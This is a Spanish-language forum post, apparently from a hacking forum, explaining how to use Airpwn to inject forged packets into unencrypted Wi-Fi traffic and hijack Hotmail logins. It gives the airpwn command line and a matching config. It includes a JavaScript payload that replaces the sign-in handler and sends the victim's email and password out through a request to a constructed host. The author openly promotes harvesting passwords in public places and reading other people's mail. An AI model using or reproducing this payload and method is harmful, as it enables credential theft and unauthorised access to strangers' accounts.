Supongo que conocereis la herramienta Airpwn, esta herramienta permite inyectar tráfico "al vuelo" en una red 802.11,
esto es, permite detectar ciertos patrones en paquetes TCP que se están transmitiendo en la red Wi-Fi y responder si el patrón es detectado mediante la inyección de un paquete TCP falso.
Érase una vez el ARP cache poisoning
Bueno y vosotros os preguntaréis, sí, muy bonito ¿y ahora qué? ¿no es eso posible hacer lo mismo con herramientas como ettercap, hunt o dsniff? http://www.irongeek.com/i.php?page=videos/ettercapfiltervid1
Pues sí, ¿pues vaya ***** no? No, no tanto, esto es el protocolo 802.11, un mundo maravilloso donde la información se comparte
para el que quiera escucharla a menos que se decida encriptarlo (existen muchas razones para no encriptarlo), ¿Wow, cuanto tardarán Ramoncín y la SGAE en pedirle un canon a un protocolo que comparte tanto? ¿Le pondrán canon al Kismet?
No nos desviemos del tema principal que es la diferencia entre las otras herramientas y Airpwn.
Airpwn no requiere estar conectado a la red, no requiere ningún tipo de contacto previo con la estación para poder hacer
su trabajo, ¿A QUE MOLA?! ( Señor juez yo sólo pasaba por allí, yo solo miraba!, que culpa tengo yo si salen así a la calle... la culpa es de las madres que las visten como ..!!)
Sin embargo herramientas como ettercap requieren realizar un ataque previo que se suele denominar "monkey in the middle", espero que nadie se de por aludido
.Inconvenientes de la forma clásica
Ettercap ( Cain, dsniff etc.. ) fue diseñado para Ethernet que funciona con cables ( como controlo eh? seguro que no sabiais lo de los cables...), y no es un medio tan generoso como el espectro electromagnético y si encima todo kiski usa switches...para modificar/ver los datos de la conexión hay que ponerse en medio de los dos transmisores de alguna manera, se me ocurren algunas
formas de intentar convencer a alguien que le dejes enchufar tu portátil al suyo mediante un cable cruzado o un hub, pero si no tienes escote ... las posibilidades se reducen, mejor se lo dejamos a los fans de Mitnick disfrazándose de técnicos de telefónica.
Asi que la otra manera que nos queda es engañando a los protocolos de red que se utilizan más habitualmente,
la forma clásica es realizando un ataque de ARP cache poisoning, si no sabeis las otras formas ahh.. se siente, ( mola la palabreja eh? espero que no esteis pensando de hacerselo pronunciar a vuestra madre... }8-) ). Entonces, estamos en medio y voilá, vemos todo el tráfico que envía la víctima al host elegido para suplantar. De esto se habrá hablado mil veces por el foro, asi que buscad.
Pero no todo es tan bonito, si la víctima utiliza protocolos que encriptan la información, como por ejemplo SSL, el tema se complica un poco a la hora de conseguir contraseñas, que si DNS spoofing que si generar certificados falsos..joder que puñetero rollo.
Además, imaginate que quieres cazarle la contraseña a unos cuantos, joder vaya puñetero escándalo de paquetes en la red, cualquier IDS de pacotilla va a saltar por todos lados, y como tengas un administrador friki aparecerá en cualquier momento con el bate por la puerta, y una cami de OMFG (También es probable que nadie se entere, sobre todo si es una red con mucho tráfico y servidores DHCP molestando).
Como funciona Airpwn
Diagrama Barrio Sésamo
Código:
Papa le pide un polvete a mama...
STA -->GET http://www.hotmail.com----> AP ---> Inet
3ms
Un amante rápido pone la semillita en mama
STA <-----------algo malo------------Atacante(Airpwn)
40ms
La semillita de papa llega tarde y mama ya está satisfecha..
STA <-HTTP(Trama legítima y que se descarta)---- AP <-- Inet
¿De quién es el hijo?STA -->GET http://www.hotmail.com----> AP ---> Inet
3ms
Un amante rápido pone la semillita en mama
STA <-----------algo malo------------Atacante(Airpwn)
40ms
La semillita de papa llega tarde y mama ya está satisfecha..
STA <-HTTP(Trama legítima y que se descarta)---- AP <-- Inet
Para los frikis, mirar figura 2 y 3.
Sin más comentarios.
Pongamos una semillita en Hotmail
Pues nada, dichas todas estas absurdeces, voy a explicar otro método que se puede utilizar en redes Wi-Fi donde no necesitamos "estar en medio" para ver los paquetes, y gracias al retardo de la red podemos suplantar paquetes reales con otros a medida, ahí entra Airpwn, con el que se pueden hacer cosas tan "cool" como se puede ver en http://www.evilscheme.org/defcon/dave_images/. Con Airpwn configuramos que paquetes queremos suplantar, lo ponemos a escuchar y ale a recoger la recompensa y verle el correo a la maciza de clase en vez de jugar al mini golf en las prácticas (Qué tiempos).
Pues nada, vamos a ello, vamos a intentar robarle a alguien su contraseña de hotmail, primero, y visto que es un
rollazo intentar conseguir algo en las conexiones https, vamos a pensar en la forma de acceder al usuario antes de que
se establezca una conexión https.
Cómo accedéis vosotros a vuestro correo? mediante www.hotmail.com, o www.gmail.com, etc, cuantos frikis conoceis que metan https://www.gmail.com ? asi que estamos accediendo a http://www.hotmail.com ..
http.. humm... ¿Curioso no? poco después.. nos redirigen a una página, lo normal es que vaya a una página segura, a veces la redirección no va a una url con https, en hotmail esto depende de una cookie si te has autenticado previamente, entonces, hay un paquete que nos dice a dónde va a ir redirigida la página...
Podemos ver esta redirección en la figura 1.

Figura 1.
En un principio Airpwn sólo podia inyectar lo máximo que le permitía el protocolo en una trama, definido por el MTU, unos 2000 y pico bytes,
por lo que suplantar una página entera era prácticamente imposible a menos que la limpiaras mucho. Sin embargo, las páginas
siempre incluyen scripts, css, imágenes... En este caso la página de hotmail donde te redigire el servidor y que no es https,
incluye un fichero llamado PPPrimary.js asi que podemos suplantar ese fichero, porque es lo suficientemente pequeño,
podeis observarlo vosotros, en la página de hotmail http://login.live.com/login.srf?id=2&svc=mail&cbid=24325&msppjph=1&tw=900&fs=1&lc=3082&_lang=ES
Código:
...
<script type="text/javascript" src="JS/PPPrimary.js?x=4.5.6172.0"></script>
...
<script type="text/javascript" src="JS/PPPrimary.js?x=4.5.6172.0"></script>
...
al suplantar ese fichero modificas la función que se ejecuta al darle al botón enviar y lanzas una petición DNS al aire
que contiene la información que necesitas, o una petición http, o lo que se te ocurra, esto es un ejemplo que yo he utilizado
en más de una ocasión. En la figura 2 puedes observar el resultado de de la inyección y como Wireshark detecta la trama legítima como fuera de orden, y en la figura 3 el stream TCP reeensamblado, donde puedes observar "basura" despues de la trama inyecatada que corresponde a la información legítima comprimida enviada por el servidor.

Figura 2.

Figura 3.
Como resultado, tendrá una página con el código javascript inyectado que nosotros queramos.
La ventaja de todo esto, es que si estás en un lugar público, te puedes hinchar a recoger contraseñas de una manera sencilla.
Soy muy vago y no voy a explicar detalladamente todo esto, os dejo aquí algunos ficheros que creo que son suficientemente
explicativos, airpwn 1.3 está en WifiSlax, soporta inyección WEP y fragmentación. Pasos, tarjeta en modo monitor, ponemos airpwn, airpwn encuentra un paquete que contiene la expresión regular especificada en su fichero de configuración, airpwn inyecta un paquete TCP a medida con lo especificado en el fichero de contenido. Sintaxis.
Código:
./airpwn -c ./conf/hotmail -d hostap -i wlan0
Pones el ethereal o tu analizador de red preferido con un filtro para recoger la petición dns en la que incluyes el password y el mail, como aparece en la figura 4.

Figura 4.
Código:
Fichero de configuración Airpwn.
begin hotmail
match (GET.*/pp400/JS/PPPrimary\.js)
response content/hotmail
begin hotmail
match (GET.*/pp400/JS/PPPrimary\.js)
response content/hotmail
Código:
Código a inyectar por Airpwn
HTTP/1.1 200 OK
Connection: close
Content-Length: 50
Content-Type: application/x-javascript
function OnSigninSubmit(obj)
{
email = document.getElementById('i0116').value.split('@')[0];
passwd = document.getElementById('i0118').value;
img = new Image()
img.src = 'http://hacked.'+email+'.'+passwd+'.com';
return true;
}
HTTP/1.1 200 OK
Connection: close
Content-Length: 50
Content-Type: application/x-javascript
function OnSigninSubmit(obj)
{
email = document.getElementById('i0116').value.split('@')[0];
passwd = document.getElementById('i0118').value;
img = new Image()
img.src = 'http://hacked.'+email+'.'+passwd+'.com';
return true;
}
Los deberes para casa...
Ahora mismo Airpwn soporta fragmentación, esto que significa? que puedes suplantar paquetes de un tamaño mucho más grande,
porque puedes enviar más de una trama con información que corresponde al paquete fragmentado que suplanta al verdadero,
vaya trabalenguas. Como os he comentado en la sección anterior, la razón por la que yo suplantaba el fichero script y no la página
entera era por el tamaño, ahora podeis probar este método suplantando la página entera a los sitios que redirigen
a una página https pero son accedidos desde una página http.
La desventaja de suplantar la página entera es que los usuarios verán en su url de direcciones http://www.hotmail.com, o http://www.gmail.com en vez de ver el típico url de login en https, pero cuantos conoceis que sospecharían? y cuantos pensarían, esto es un ataque?.
Aviso
No voy a responder a comentarios del estilo "no me funciona el Airpwn", leeros la documentación o que algún alma caritativa os haga un tutorial http://airpwn.sourceforge.net/Documentation.html la versión 1.3 está disponible en sourceforge, en esa página sólo ofrecen la 1.2.
Me interesa que posteeis vuestras pruebas y resultados intentando realizar cosas sencillas y efectivas.
Ale, ahí os lo dejo por si os interesa que hay que ir a sobar.
Un Saludo,









Autor


En línea




(soy vago y no lo miro jejeje) Saludos.













, ahora no tengo la revista en el curro. Si
, en cuanto pueda me meto en el tema.


